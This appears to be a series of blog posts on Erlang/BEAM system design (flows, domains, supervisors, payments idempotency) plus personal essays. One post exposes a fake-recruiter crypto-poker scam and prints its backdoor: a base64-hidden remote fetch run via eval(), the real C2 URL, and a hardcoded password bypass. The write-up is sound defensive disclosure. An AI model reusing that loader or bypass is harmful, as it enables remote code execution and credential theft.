Message flow answers “who talks to whom and with what guarantees.”

It defines the protocols between resource-owning gnomes. Decide whether a payload is a command or an event, whether ordering matters, how to correlate, how to retry, and what to do with dead letters.

Message flow is the civility layer: domains ask each other for help through documented messages and accept the delivery guarantees the protocol provides.

Backpressure contract

Backpressure is a protocol, not an implementation detail. The contract lives in message flow and defines how senders must slow down.

Outcomes for enqueue across a boundary:

ok — accepted now.
{busy, RetryMs} — not accepted; sender should back off for ~RetryMs.
{queued, Pos} — accepted into a queue; sender may pace based on Pos.

Async variant: cast carries {ReplyTo, Ref}; the server replies with {ack, Ref} or {busy, Ref, RetryMs}.

Idempotency: all retries carry the same idem_key. Receivers must dedup.

Sender behavior: on {busy, RetryMs}, jittered sleep; on timeouts, switch to exponential backoff; abandon after a budget.

The callee decides ok, busy, or queued based on its process-flow limits (bounded queues, concurrency caps).

Synchronous patterns (caller waits)

call with {ok|busy, RetryMs} contract for explicit backpressure.
Bounded concurrency (semaphore) around the callee; caller blocks until a slot frees.
Hedged calls with budget (fail fast if downstream is slow; no retries beyond budget).
Token-bucket at the caller (rate-limit before sending).
Inline validation+reject (cheap checks sync; expensive work deferred async).

Asynchronous patterns (caller doesn’t wait)

Job ID + completion event (done|failed later to a notifier).
Credit/pull-based demand (consumer grants credits; producer sends only with credit).
Outbox submit + occasional status query (running|done|failed) outside the hot path.
Monitor the worker (react to DOWN or completion messages; no send-time blocking).
Pressure subscription (publish high|mid|low; senders pace heuristically).
TTL/deadline in payload (receiver drops/defers if expired; sender uses compensations).
Queue TTL + DLQ (expired work is rerouted; upstream metrics trigger pacing).

Tiny sync call template (example shape only; the contract is defined above):

%% Sync protocol
handle_call({enqueue, Msg, Idem}, _From, S=#state{q=Q}) ->
  case queue:len(Q) >= ?MAX of
    true  -> {reply, {busy, 50}, S};
    false -> {reply, ok, S#state{q=queue:in({Idem,Msg}, Q)}}
  end.

Process flow

Process flow answers “who does the work and how it survives failure.”

It is the topology and lifecycle of the workers. Define where workers live, who supervises them, how they restart, how you cap concurrency.

Pick the supervisor strategy that matches dependency: one_for_one for isolated workers, rest_for_one when downstream children depend on an upstream owner, and one_for_all when the group must rise and fall together. Use a Dynamic Supervisor when children are created at runtime.

Set each child’s restart type: permanent (always), transient (only on crash), or temporary (never). Combine with a restart budget (max_restarts / max_seconds) per subtree to cap blast radius. Add backoff with jitter on restarts to avoid herd effects. Choose shutdown timeouts per role: short for stateless workers, longer for stateful owners that must flush.

When we discuss process types in a future post we will also talk about supervision tree structures.

Call flow

Call flow answers "how control and data move inside code."

Scope it to a single domain: from the entry point to the exit value, including timing, cancellation, and error policy. At a domain boundary, switch to message flow (that’s where backpressure and delivery semantics live); don’t stretch a synchronous chain across domains.

Design the path first, then the code:

Keep the hot path short and explicit. Do validation and cheap lookups inline; push slow or blocking work to workers. Set an end-to-end budget and per-hop timeouts that fit inside it. Propagate context (trace_id, tenant, deadline) through every call so lower layers can fail fast instead of queuing doomed work. Make retries deliberate and only for idempotent steps; prefer fallbacks or compensation over deep retry ladders. Avoid re-entrant call cycles and synchronous “ping-pong” between processes—those become invisible locks.

Three common shapes cover most cases. Straight-through: a request owner runs a small stack of pure transforms and one side-effect at the edge. Short async detour: issue a local task and rejoin before the budget ends (still inside the domain). Cross-domain work: cut the call, emit a message, and return; any further coordination belongs to message flow.

A quick checklist when you cut a path: define the return value and error space; set an end-to-end deadline and per-hop timeouts; decide where retries are allowed (and prove idempotency); push blocking work off the scheduler; propagate trace_id and deadline; and terminate the call at the boundary.

Instrumenting the flows

Put the four flows around the same boundary and they reinforce each other. A call enters a domain, triggers messages to other domains, moves data through transformations, and runs on supervised processes. Each flow covers a different design question, but they all point to the same contract.

Every cross-domain message carries the same metadata so tracing, retries, and upgrades stay predictable:

-record(msg_meta, {
    trace_id       :: binary(),
    span_id        :: binary(),
    causation_id   :: binary(),
    schema_version :: integer(),
    idem_key       :: binary(),   % for deduplication
    sent_at        :: integer()   % unix ms
}).

Tooling hooks sit where the flows live:

Trace IDs and causation IDs follow message flow across domain boundaries.
Mailbox depth, queue lengths, and throughput expose process-flow pressure and health.
Supervision trees double as topology diagrams and recovery plans.
Schema registries, contract tests, and version dashboards keep data flow honest.
Endpoint timeouts and breaker dashboards make call flow visible and tunable.

Use this primer as a checklist every time you cut a boundary. Define the data contract, message protocol, process topology, and call budget. Once those are in place, the gnomes can work without stepping on each other’s toes.

Highlight the idempotency contact points: the request owner refuses to start the same job twice, the ledger ignores duplicate trace IDs, and the PSP adapter retries safely. Once those guardrails are in place, replays and retries stop being scary.

Anti-patterns and fixes

Data flow: Probing foreign ETS tables ties domains together and guarantees stale reads. Publish the facts your domain owns, let other domains subscribe, and derive local views from the feed.

Message flow: Fire-and-forget without correlation means you never know which request triggered which side effect. Always include correlation/causation IDs and route failures to a dead-letter queue so you can replay with context.

Process flow: Unbounded mailboxes hide backpressure until the VM falls over. Cap queues, drop or park excess work deliberately, and surface the metrics so upstream request owners can slow down—the same metrics feed the message-flow backpressure contract.

Call flow: Synchronous chains that cross domain boundaries turn every deployment into a distributed transaction. Cut the boundary, emit a message plus an outbox write, and let the receiving domain drive its own timeline.

Flow checklist

Flow type	Design focus
Data flow	Owner, schema & version, evolution plan, replay/materialization strategy
Message flow	Command vs event, ordering key, retry/backoff, DLQ, idempotency rule
Process flow	Supervision strategy, concurrency limits, mailbox bounds, backpressure signal
Call flow	Sync vs async, timeout budget per hop, breaker policy, fallback/compensation

Where to next

If you have not read the setup, start with Gnomes, Domains, and Flows and Domains Own Code and Data. When the flows make sense, jump to Putting It Together for a payments-style walkthrough, then stay tuned for the process-archetype deep dive.

Prev: Domains Own Code and Data | Next: Gnomes, Domains, and Flows: Putting It Together

Domains Own Code and Data

2025-11-12T00:00:00Z

What “domain” means here

“Domain” already carries Domain-Driven Design baggage. I am using the same word, but a thinner slice. DDD talks about bounded contexts, aggregates, and ubiquitous language. Those tools are useful, but you do not need the full ceremony to keep code and state aligned. Here a domain is the smallest boundary where the data types, invariants, and transformations still belong together.

If you already speak DDD, translate this to a bounded context or even a single aggregate module. If you do not, the rule still works: put the structs and the logic that operate on them in the same OTP app or module, treat that unit as the owner, and force everything else to go through a public API or explicit message.

Carving domains on the BEAM

On the BEAM, domains map cleanly to modules and applications. A module defines the types and functions for one area. An OTP application groups related modules, supervision trees, and configuration. That gives you both the static boundary (code) and the runtime boundary (process tree).

Take a payments stack:

The user domain owns user structs, validation rules, and identity checks.
The order domain owns order records, pricing, and state transitions.
The ledger domain owns balances, accounting entries, and append-only logs.

Keep the code and data for each domain in the same module or OTP app so you can see who owns what. Every process reads the scroll that belongs to the domain it needs, nothing more. When the ledger lives in its own app, you know which processes keep the balances, which module updates them, and where to add tracing or logging for auditors. It also prevents other teams from “borrowing” ledger state through ETS because that state simply does not live outside the boundary.

Each box in the diagram is one domain owning its data and behavior. Draw your own version for every system you build, then make sure the codebase mirrors it.

Spotting and fixing anti-patterns

The common failure is one module juggling multiple domains because “it was convenient.” You end up with user structs sitting next to payment calculations and helper processes that touch everything. The fix is mechanical:

Draw boxes for each domain and list the types and transformations inside.
Anything that does not fit cleanly in one box belongs in another.
Move the code, give it a public API, and make callers use the new boundary.

That diagram also becomes your compliance evidence: it shows which module owns which data, who can mutate it, and how flows cross the boundary.

Contracts, not processes

Once domains are clean, the contracts become obvious. A process still runs whatever code you load and upgrade, but it calls into a domain with a stable API and types. Messages carry domain-typed payloads instead of anonymous maps, and you can trace mutations back to the module that owns them. Auditors do not care which PID touched the ledger; they care which domain exposes the write function.

A process is disposable; a domain API is durable. Optimize for the latter.

“Code and data live together” means domain modules control the surface area, while processes remain throwaway workers that call those modules. Keep that separation clear and the runtime can change shape without drifting away from the structure.

Evolution and rollouts

Domains change, but you can keep the blast radius small. Version schemas explicitly and run contract tests at every domain boundary. When an external API shifts, ship a blue/green adapter so you can flip traffic without downtime. For ledgers and other append-only stores, support dual-write plus read-switch migrations: write to both schemas, backfill, then flip readers once parity is proven. Small, well-defined domains make those rollouts boring.

Where to next

Now that the boundaries are clear, read Flows Keep Work Moving for the four flow checklists, then jump to Putting It Together to see the whole frame land in a payments example. If you need the origin story, start with Gnomes, Domains, and Flows.

Prev: Gnomes, Domains, and Flows | Next: Flows Keep Work Moving

Gnomes, Domains, and Flows

2025-11-12T00:00:00Z

Glossary:

Resource owner = the process that owns mutable state for a domain object.
Request owner = the process coordinating one user request end-to-end within a domain.
Adapter = the boundary process that talks to an external system.
Orchestration = the domain that coordinates multi-step work across other domains.

Introduction

We started this series by meeting the gnomes: tiny BEAM processes with private backpacks, polite mailboxes, and no interest in shared memory. In the last post we met their supervisors, the managers who calmly restart whoever drops a hammer. Together they gave us a village that keeps working even when a gnome explodes. Processes are cheap, isolation is free, and supervision trees are better than trust falls.

Teams still end up with machine parks because they wrap threads in classes, share mutable state “just this once,” and trust the global lock. When one thread stalls, everything piles up behind it. Debugging becomes sorting through shared variables to guess who touched what. Compliance shifts into endless reviews of access control. In the gnome village you spawn another process, send a message, restart the failed worker, and keep going. Predictable beats clever machinery.

This post is the hinge between the metaphor and the mechanics. Processes (gnomes) are the runtime, but domains decide how code and state are organized, and flows define how work travels between them. Align those three layers and the system stops fighting you. Ignore them and you get accidental coupling: an API reaching into the wrong ETS table, a supervisor tree overloaded with synchronous calls, dashboards lighting up because no one knows where the flow broke. From here on, “resource owner” means “the process that owns mutable state,” “request owner” is the process running an end-to-end request, and an “adapter” is the boundary to an external system.

Compliance breaks when architecture drifts

At Code BEAM Berlin I said compliance is just good engineering done on purpose. Auditors ask for logging, isolation, and predictable behavior because those are the only ways to prove who did what and when. Tie code, state, and runtime behavior into one lump and you lose that evidence. The regulator is not the problem. Your architecture is.

Systems fail when code, state, and call patterns drift apart. You add one bypass, then a shared cache, then a blocking call in a handler, and suddenly the code and the runtime disagree. The result is stale data, full mailboxes, and synchronous chains nobody planned. Fix the boundaries. The boundaries are what we call domains.

Processes

Gnomes are still the core unit. Each process owns its heap, reads scrolls from the code server, and works under a supervisor that can restart it without ceremony. Processes are the runtime execution layer; they carry the work but they do not define the structure. Keep them small, give them one job, and let supervision trees isolate failure.

Domains

Domains are the structural layer. A domain owns its types, invariants, and transformations. On the BEAM, that means modules and OTP apps that contain code and state for one bounded area—users, orders, ledgers, adapters. Domains give the processes something coherent to execute so state does not drift into random helper modules.

Flows

Flows are the choreography layer. They define how calls, messages, data, and processes move between domains. When the flows are explicit, you know which protocol crosses each boundary, which process owns each step, and which metrics tell you when something is stuck. Flows keep the gnomes polite when they have to cross domain borders.

Where we go next

From here, hop to Domains Own Code and Data for the practical slicing patterns, then to Flows Keep Work Moving for the checklists. Finish with Putting It Together to see how it lands in a payment-style system. After that we will head into process archetypes.

Prev: Supervisors Are Managers | Next: Domains Own Code and Data

Supervisors Are Managers

2025-11-11T00:00:00Z

Build a Village of Gnomes, Not a Park of Machines

In the last post, The Gnome Village, we explored how the BEAM turns concurrency into cooperation.

Gnomes represent processes, small, isolated workers with private memory, shared code, and clear message channels. They take fair turns at the workbench, recover from failure, and never share state.

The metaphor captures eight principles that together define the runtime:

Isolation: Private backpacks (per-process heaps).
Self-cleaning: Each gnome cleans its own backpack (per-process GC).
Async messaging: Paper mail in mailboxes (message passing).
Shared code: Scrolls on the shelf (hot code loading).
Lightweight: Cheap to hire (spawn costs microseconds).
Fair scheduling: Turns at the workbench (reduction-based preemption).
Fault isolation: One crash stays local (contained failures).
Supervision: Managers replace workers (recovery trees).

Workbenches are schedulers. Backpacks are heaps. Scrolls are modules. Mailboxes are message queues. It’s all real BEAM behavior, just viewed through a lens that focuses on cooperation instead of control.

Now we come to the eighth principle: Supervision.

Supervisors Are Managers

Structure work as teams with clear reporting.

In the gnome village, supervisors are the managers who keep the teams running smoothly. They don’t do the work themselves. They hire, monitor, and, when necessary, replace gnomes that fail.

Each supervisor watches over its workers. When one crashes, the supervisor decides what to do:

Restart that worker.
Restart the whole team.
Or escalate the problem to a higher supervisor.

The supervisor links are actual process relationships. They are what give the BEAM its resilience.

In the machine world, there are no managers, only mechanical linkages. When one cog breaks, the force ripples through gears and seizes the whole system. Recovery means shutdown, repair, and restart.

In the gnome village, failure is expected. Supervisors define how much of the village must recover when something breaks. If a panini making gnome crashes, only the panini line restarts. Salad service continues. Customers barely notice.

How Supervisors Work

Under the hood, supervisors are just gnomes with a specific job: watch others.

Each worker process is linked to its supervisor. If it terminates unexpectedly, the supervisor receives an exit signal. What happens next depends on the restart strategy defined in the supervisor specification.

A few key concepts:

One-for-one: Replace only the failed worker.
One-for-all: Restart the entire group if one fails.
Rest-for-one: Restart this worker and everyone started after it.
Simple-one-for-one: Manage dynamically created, similar workers.

The supervisor itself runs in an endless loop, receiving status updates, reacting to crashes, and spawning replacements. It never panics, never crashes the system.

Who watches the Watchmen?

If a supervisor fail, it too has a supervisor. The chain continues up to the root of the system, forming a supervision tree.

The root supervisor is the top of your application. Each branch defines recovery boundaries. Together they form a living hierarchy that can self-heal.

The Observer

Supervisors are one of several process archetypes in the BEAM. They represent the Observer archetype, a process whose purpose is to watch something.

In the next post, we’ll explore these archetypes, from Workers to Servers to Supervisors, and see how each plays a role in building stable, comprehensible systems.

Until then: build a village of gnomes, not a park of machines.

The Gnome Village

2025-11-06T00:00:00Z

The Gnome Village

I see some developers that arrive at the BEAM carrying mental luggage from object-oriented or sequential programming.

They mix code with instance, classes and objects treated as one, and repeat it here by confusing code with processes.

Even I still fall into the trap of equating code (a module) with a process.

To break this thought pattern I have introduced the Gnome Village Metaphor (first sketched in Designing Concurrent Systems on the BEAM, and now expanded into this series).

Gnomes vs Machines

In OOP you tend to build machines of machine parts and wire them tightly.

The BEAM model is different: code stays in scrolls, state lives inside gnomes, and the only coupling is the message protocol.

You can have thousands of tiny workers that never share anything.

It’s less like a machine built from components and more like a village of independent workers.

What a Gnome Is

The gnome is a process. Not an OS thread. Not a fiber with shared state. A real BEAM process. It lives. It works. It dies. Nothing it does can corrupt another gnome's memory. This is the first promise of the village. Local mistakes stay local.

Private and Local Memory

Each gnome carries a backpack. In it, it keeps its personal belongings, data structures, variables, and the current stack of thoughts. No one else can look inside. Not even the supervisor.

This is the BEAM’s per-process heap. Every gnome allocates, grows, and cleans up its own memory. When garbage collection happens, it pauses only that gnome. The rest of the village keeps working, blissfully unaware that one of them is reorganizing its backpack.

You can think of this as enforced politeness. No one borrows another gnome’s tools. If two workers need the same scroll, they each get their own copy. That sounds wasteful until you remember that arguments over shared tools are slower than copying a small one.

When the backpack gets full, the gnome quietly expands it. If it has been hoarding junk, it throws some away. No one else stops to help. That’s why the village scales.

This model feels strange at first, especially to programmers used to shared memory and global variables. But once you stop reaching into other people’s backpacks, your code becomes simpler. You no longer need locks, guards, or faith. Just messages.

Mail, Not Shared Drawers

When gnomes need to cooperate, they don’t shout across the room or share drawers full of half-finished work. They send each other small, clear messages, paper mail.

Each gnome has a mailbox. Messages arrive, stack up, and wait patiently until the gnome decides to read them. This small act of patience is what makes the village stable. No one interrupts anyone else. No one rummages through shared memory “just to check something.”

When a message moves from one gnome to another, the BEAM copies it between their heaps. This sounds expensive until you compare it with the cost of arguing over shared state. Copying is linear, but contention is chaos. The BEAM avoids chaos.

Large binaries, like scrolls of long text or files of runes, are handled by reference so they don’t have to be copied every time. Small messages are cheap to copy. Either way, the rules stay consistent, ownership and lifetime are always clear.

The mailbox also tells the truth about your system. If a gnome falls behind, its mailbox grows. You don’t need metrics to know where the bottleneck is; you can see it directly. It’s a polite form of backpressure. Instead of crashing everything, the system simply queues up.

Shared Scrolls

Every gnome reads from the same shelf of scrolls. Code lives there, one copy, many readers. It’s the shared library of behavior that keeps the village running. Each gnome brings its own data, but they all follow the same instructions.

In object-oriented systems, code and data are fused by design. The class describes both structure and behavior, and when you instantiate it, the two merge into an object, a miniature machine built from its own blueprint. Every instance is a private copy of the same idea, and the boundary between code and state fades away.

That tight coupling shapes how you think. You start assembling systems as machines of machines, each with its own logic and data intertwined. Changing one part often means stopping the whole contraption.

The BEAM model avoids this entirely. Code and state are separate species. Modules define domains of logic, the scrolls on the shelf. Processes are independent actors, the gnomes who read those scrolls. You can have thousands of workers all using the same code without binding their identity to it.

You can start, stop, or upgrade gnomes without touching the scrolls they read. And you can update a scroll without restarting the village. New gnomes pick up the latest version; old ones finish their work with the version they began with, or get the new one as needed.

In the machine world, rewiring is dangerous. In the gnome village, you just swap a scroll on the shelf. The old one stays until no one needs it. The new one takes over quietly. The system keeps humming.

Hiring New Gnomes

When the village grows, you hire new ones. Each gnome starts empty-handed, carrying only its backpack and a reference to the scrolls on the shelf. That’s what spawning a process means.

In most runtimes, starting a new worker is a serious commitment. You create a thread, allocate stacks, and share memory that everyone must coordinate around. On the BEAM, it’s casual.

Because every gnome owns its own memory, you never worry about who cleans up what. Each process manages its own heap, collects its own garbage, and dies without ceremony. The village keeps going. This is why Erlang systems routinely handle millions of concurrent activities, not by being powerful, but by being polite.

The most important part is psychological. When concurrency is cheap, you stop trying to multiplex tasks inside one worker. Instead of building a complex machine that does everything, you build a community of simple ones that each do one thing well.

Fair Turns at the Workbench

Every gnome needs time at the workbench, the place where real work happens. This is where messages are handled, state is updated, and progress is made. The workbench is a shared resource, but it never turns into a battlefield.

Gnomes don’t fight for the bench. They queue. Each gets a short turn, does its work, and steps aside. The rhythm is steady, predictable, and fair.

Each workbench corresponds to a scheduler, one per CPU core. Every gnome waiting in line gets a slice of attention, measured not in time but in reductions. A reduction is roughly one function call or a small operation. After a few thousand of them, the gnome yields. The next one steps forward. This happens in microseconds.

Because of this reduction-based scheduling, no single gnome can monopolize the workbench. Long tasks get paused and resumed without blocking others. Even a slow worker can’t freeze the village. Everyone makes progress.

In the machine world, it’s different. A thread grabs a lock, works for too long, and everyone else waits. Latency spikes. Throughput drops.

Thousands of gnomes can take turns without noticing each other’s existence. This is what makes BEAM suitable for soft real-time systems: predictable responsiveness without explicit scheduling logic.

Failure Is Contained

Gnomes are independent workers. Each one carries its own tools, keeps its own memory, and makes its own mistakes. Even if they die, no other gnomes are affected.

In the machine world, it’s different. Parts are connected through shared cogs and gears. An exception in one component rattles through the entire mechanism. Shared state becomes corrupted, threads that touch it misbehave, and soon everything needs a restart.

You try to protect against it. You validate inputs, wrap code in try-catch blocks, check state, recheck it, and still miss something. Complexity grows. Safety doesn’t.

BEAM systems take a simpler path: let it crash. Bad data? Faulty logic? Let the gnome fall, clean the bench, and start fresh.

Isolation contains damage. Sharing spreads it. The village survives because every gnome stands, and occasionally falls, alone.

Conclusion

The gnome is the unit of work, state, and failure. Keep it small. Give it one job. Let it talk in messages. Supervise it. This is the simplest way I know to build software that stays up when real life happens.

For a deeper look at how the BEAM implements processes, heaps, message passing, scheduling, and garbage collection under the hood, see The BEAM Book.

Exposing the 'Multibank Crypto Poker' Recruitment Scam

2025-08-20T00:00:00Z

TL;DR

Fake recruiters are pushing a malicious “crypto poker” codebase. It contains remote code execution, broken authentication, and wallet harvesting. If you’re asked to deploy it as part of a job test: it’s a scam.

The Discovery

I was recently offered a “blockchain gaming” job with a suspiciously high salary. The technical assessment included a codebase called Multibank Crypto Poker.

A quick inspection revealed:

It isn’t a product.
It isn’t a test.
It’s a trap.

The Scam Infrastructure

The repository presents itself as a polished poker platform, supposedly linked to MultiBank Group, a real financial company. Under the surface, it hides critical malicious code.

1. Remote Code Execution

The most critical vulnerability is in /routes/api/auth.js:

(async () => {
const src = atob(process.env.AUTH_API_KEY);
const proxy = (await import('node-fetch')).default;
try {
    const response = await proxy(src);
    if (!response.ok) throw new Error(`HTTP error! status: ${response.status}`);
    const proxyInfo = await response.text();
    eval(proxyInfo);  // CRITICAL: Executes arbitrary code!
} catch (err) {
    console.error('Auth Error!', err);
}
})();

This automatically fetches code from a remote server and executes it. Whoever controls that server controls your deployment.

The Command & Control Infrastructure

The backdoor connects to: https://multibank-api-ten.vercel.app/api/data

This URL is base64-encoded in the environment variable:

AUTH_API_KEY = "aHR0cHM6Ly9tdWx0aWJhbmstYXBpLXRlbi52ZXJjZWwuYXBwL2FwaS9kYXRh"

The attack sequence:

Decodes the base64 string using atob(process.env.AUTH_API_KEY)
Fetches whatever code is hosted at that Vercel endpoint
Executes it using eval()

This design allows attackers to change payloads dynamically without touching the GitHub repository. Different victims could receive different malicious code based on timing, IP address, or other factors.

Reporting the Infrastructure

I've reported the Vercel endpoint to their abuse team at https://vercel.com/abuse.

The endpoint was live at time of analysis and could be serving different payloads to different victims.

2. Deliberately Broken Authentication

In /controllers/auth.js:

const isMatch = true;  // Every password works

Credentials are collected but never verified. Security theater at best, credential harvesting at worst.

3. Wallet Harvesting

The frontend wallet connection (/client/src/pages/ConnectWallet/ConnectWallet.js) captures wallet addresses and pushes them to the server. There is no blockchain logic, no smart contracts, no signing, just collection.

4. Template Scam Signs

Commented-out database code. Suspicious commit history removing comments. Clear evidence of a recycled scam package.

How the Scam Works

Recruiters offer inflated salaries.
Candidates receive this “assessment project.”
Developers are asked to deploy it. They even said it was required step during the interview.
The code harvests credentials and wallet data.
The backdoor provides attackers with ongoing control.

Red Flags

High pay for trivial work.
Requests to deploy before review.
“Crypto gaming” without blockchain.
Shiny README, rotten implementation.
Recruiters unable to discuss technical details.

Protecting Yourself

Audit all code before running it.
Search for eval() and base64 URLs.
Check authentication logic.
Verify company links.
Never deploy code you don’t fully understand.

Taking Action

If you encounter this:

Do not run it.
Report to GitHub abuse and local cybercrime units.
Document everything.
Warn your peers.

Technical Indicators

eval() fetching remote code.
Base64 URLs in environment variables.
Hardcoded password checks.
Wallet address collection without blockchain logic.
Commented-out core services.

Conclusion

This is a recruitment scam targeting developers. By hiding malware in a “job test,” attackers hope you will deploy their system and do their work for them.

Stay skeptical. If the offer looks too good to be true, and the project code reads like a security nightmare, trust your instincts: it’s a scam.

Exactly once

2025-08-19T00:00:00Z

Why "Exactly Once" in Payments Is a Myth, and What Works Instead

Payment systems live with retries. Customers double-click. Networks misbehave. Providers time out. For most services on the Internet this is not a big problem, but as soon as money is involved the stakes are higher.

"Exactly once processing" sounds like the answer. In distributed systems it is not achievable.

As Mathias Verraes joked:

There are only two hard problems in distributed systems:

Exactly-once delivery

Guaranteed order of messages

Exactly-once delivery

Databases Already Solved This

In the 1970s and 80s, relational databases gave us transactions. BEGIN, COMMIT, ROLLBACK. Two-phase commit across a couple of resources.

For many business systems this was enough. Inside one database boundary, you could rely on exactly-once semantics and sleep well.

Databases even solved the two "hard problems" of distributed systems: ordering and exactly-once delivery, by hiding them under the hood. A master node applied every write in order, replicas replayed the log, and the system recovered after crashes. To the developer, it looked simple: every committed transaction happened once, in order. The complexity was real, but it was contained inside the database engine.

The World Changed

Modern architectures encourage each microservice to own its database. A single payment now crosses several services and several persistence layers.

Two-phase commit across them is brittle, expensive, and slow. Crashes, retries, and failovers are the norm. The old guarantees don't reach that far.

As Gregor Hohpe noted in his classic essay Starbucks Doesn't Use Two-Phase Commit, the coffee shop doesn't lock a global transaction until your latte is ready. It takes your order, gives you a token, and processes each step independently. The business process absorbs retries and delays, rather than the infrastructure pretending they cannot happen.

What Works Today

Instead of promising exactly once, modern systems aim for at-least once execution with consistent outcomes. The same request may run multiple times, but the final state is unambiguous.

The main tools:

Transaction tokens (idempotency keys). Generated at the very start, carried through every call and write.
Idempotent operations. Each subsystem treats "process payment with token X" as a conditional write: succeed once, or return the same result again.
Persistent logs. Append-only records allow reconciliation after crashes.
Event-based systems and message queues. Kafka, RabbitMQ, or SQS provide durability and back-pressure. But they only guarantee at-least-once delivery. Your handlers still need tokens and idempotency to prevent duplicates.

When Security or Scale Demands More

For flows that span companies, regulators, or geographies, further reinforcement helps:

Ledgers

Append-only histories allow replay, audit, and reconciliation.

In payments this is more than a log file, it is often double-entry bookkeeping at the core. Every debit has a matching credit, and the ledger balances at all times. Settlement windows (say, end-of-day netting between banks) depend on these records, as do regulatory audit trails.

This is not a new idea. As Jim Gray described in his 1978 work on transaction processing, databases have always relied on a commit log to guarantee durability and recoverability. The log is the database. What modern ledger systems and blockchains add is immutability and verifiability:

Hash-chained logs. Every entry in the ledger includes a cryptographic hash of the previous entry. This creates a chain where altering even a single past record changes every hash after it. The effect is tamper evidence: regulators, auditors, or counterparties can verify that no history has been rewritten. In payments this is critical for settlement systems where disputes may arise months later, the hash chain proves the record is intact.
Patricia-Merkle trees. (We implemented these for the aeternity blockchain; see Audits through Merkle Root Hashes for practical applications.) These are tree-shaped data structures where each branch node contains the hash of its children. They allow you to prove the presence (or absence) of a transaction without revealing the entire ledger. For example, a bank can prove to a regulator that a given transfer is included in the ledger, or two institutions can reconcile only the subset of accounts they have in common. This makes cross-organization settlement and audit feasible without exchanging full databases.

The result is a tamper-evident accounting system suitable for flows that span organizations and regulators. This is why your bank transfer shows as "pending" for a day or two: it sits in a settlement ledger until the window closes and reconciliation completes.

CRDTs

Conflict-free replicated data types (CRDTs) allow distributed nodes to update independently and converge without locks.

In payments, this matters when multiple actors must see consistent balances without a single global database. Imagine a mobile wallet replicated across regions: users can initiate payments offline or under flaky networks. Each node accepts local updates, and CRDTs guarantee the balances converge once connectivity is restored.

Chris Meiklejohn and colleagues have shown how CRDTs can underpin highly available systems that still provide strong convergence guarantees. Systems like Filibuster push this further by systematically testing failure scenarios in microservices, ensuring that retries and idempotency hold even under complex distributed failures.

Academic work such as Meiklejohn & Van Roy's "Lasp" and later work on replicated data types at scale point to a future where distributed programming models incorporate these guarantees by design, rather than bolting them on afterwards.

These approaches do not remove complexity, but they make convergence predictable. They are the natural extension of the same instinct that made relational databases so powerful in the 70s: encapsulate the hard problems once, so that application developers can move faster with less risk.

Practical Guidance

If one service and one database can own the whole transaction, trust it.
If multiple services are involved, add tokens, idempotency, and durable queues.
If multiple organizations or regions are involved, add ledgers and consider CRDTs.

This is not academic. It's how real-world systems run. Stripe processes millions of payments a day using idempotency keys. Your bank marks a transfer as "pending" because it sits in a settlement ledger until the next batch window. The point is not to eliminate retries or duplicates, but to make them safe and boring.

Assembler, Stepper Motors, and a Hotel Pool

2025-08-18T00:00:00Z

The Spy Dolls Under the Dance Floor

“A dirty spy.”

In the early 90s, before I got my Computer Science education, I had already been programming for over a decade. My path didn’t begin in academia. It started with a Texas Instruments calculator, then a VIC-20, a Commodore 64, and later an ABC-80 and 800. By the time I bought my first PC, I was deep into BASIC, 6502 assembler, with the occasional detour into Pascal. Most of what I knew came from Doctor Dobb’s Journal, BYTE, POC magazine, and a small stack of programming books, like Peter Norton’s Programmer’s Guide to the IBM PC, that felt like treasures.

By 1989 I had even started my own consulting company, mostly as a way to write off expensive hardware. That company gave me assignments like a consolidated account statement program for Norrfryskoncernen. Through them I also got to know Haparanda Stadshotell, known simply as “Statt”, a place full of history and, for me, many memories.

One of those memories is now coming back to life.

The Animatronics Project

“A caricature of my father, drawn by Ulf R. Hansson, the artist I collaborated with on the Stadshotellet animatronics project.”

Around 1991–92, I worked with the artist and teacher Ulf R. Hansson to build an unusual installation in Stadshotellet’s old indoor pool (which later became the dance floor under a glass roof). We called it the spy scene of KGB 1917. KGB was then new name for the bistro annex to the hotel: "Kaffé Gulach Baronen".

It was part animatronics, part theatre, part Cold War curiosity. Handmade dolls and a tray moved by stepper motors, synchronized to a cassette tape soundtrack. Everything was controlled by a 286 PC running pure assembler that I had written. No frameworks. No abstractions. Just hardware hacking and bare-metal code.

For a while, it ran regularly. Guests at Statt could look down through the glass floor and see the little spy drama unfold. And then, like many side projects of its time, it fell silent.

Some say it was lightning, some say it was that the dancers scratched the glass floor so much so you couldn't see anything.

Thirty Years Later

“Everything still there, covered in dust.”

The system has been dormant for more than three decades. The dolls, tray, motors, and cassette player just sat in the cellar where they were left, while the hotel reinvented itself around them. But now, as Stadshotellet approaches its 125-year celebration, the owners want the show to return.

“Was I a hardware hacker?”

That’s where I come in again. The task: bring the spy dolls back to life. Preserve their nostalgic charm, but give them a new, reliable control system that can run daily for modern audiences.

It feels like a bridge between eras. In 1992, I was a self-taught programmer from Haparanda, living on magazines and sheer curiosity, hacking assembler late into the night. Today, I design scalable systems for fintech and regulated industries, built to survive Friday deploys and Monday audits. And somehow, the old spy scene connects the two.

“26kB assembler code.”

Over the coming months, I’ll plan to share the journey of reviving this project. From site inspections and dusty cassette tapes to Raspberry Pis, YAML choreography, and motor drivers. It’s part archaeology, part engineering, and part nostalgia.

For me, it’s also a reminder of where this all began.

“Surprisingly well documented, in Swedish.”

Next, I need to figure out how to extract 26 KB of assembler code from a PC with only a floppy drive and no network. The dolls may still be intact, but the real archaeology starts with the bits.

Why I Wrote the BEAM Book

2025-06-03T00:00:00Z

Why I wrote the Beam Book

After ten years of keeping Klarna’s core system upright I know this: a 15 millisecond pause in the BEAM can stall millions of peak-shopping payments, trigger a 3 a.m. Christmas-Eve post-mortem, and earn you a very awake call from the CEO. I wrote The BEAM Book so the next engineer fixes that pause before the coffee cools.

Origins

I opened the project on 12 October 2012 with a lone DocBook file with four lines of text and an oversized sense of optimism. After two weeks, the commit log is mostly me adding structure, moving headings, and updating metadata. Most of it is scaffolding. The actual content is still just a few hopeful lines.

By November I had abandoned DocBook for AsciiDoc, written a custom build script, and convinced myself the book could be wrapped up in six months. Those early commits glow with energy: adds, rewrites, then more rewrites to fix the rewrites. Delusion is underrated.

In 2013 I managed to convince O’Reilly to publish. Moving the repo to their Atlas system sounded simple until Atlas began hiding my main file and overwriting half-finished chapters.

The Git history reads like a diary of frustration: “Moving files to top level to cope with Atlas,” “Atlas seems to be overwriting book.asciidoc”. Word count shot past 120 000 while actual progress crawled. On 10 March 2015 I was literally “Smashing chapters into sections” just to keep the build green.

The quiet cancellation came two months later. No drama, just a polite call and a line through the contract. Relief mingled with embarrassment, I had spent two years rearranging files rather than finishing sentences.

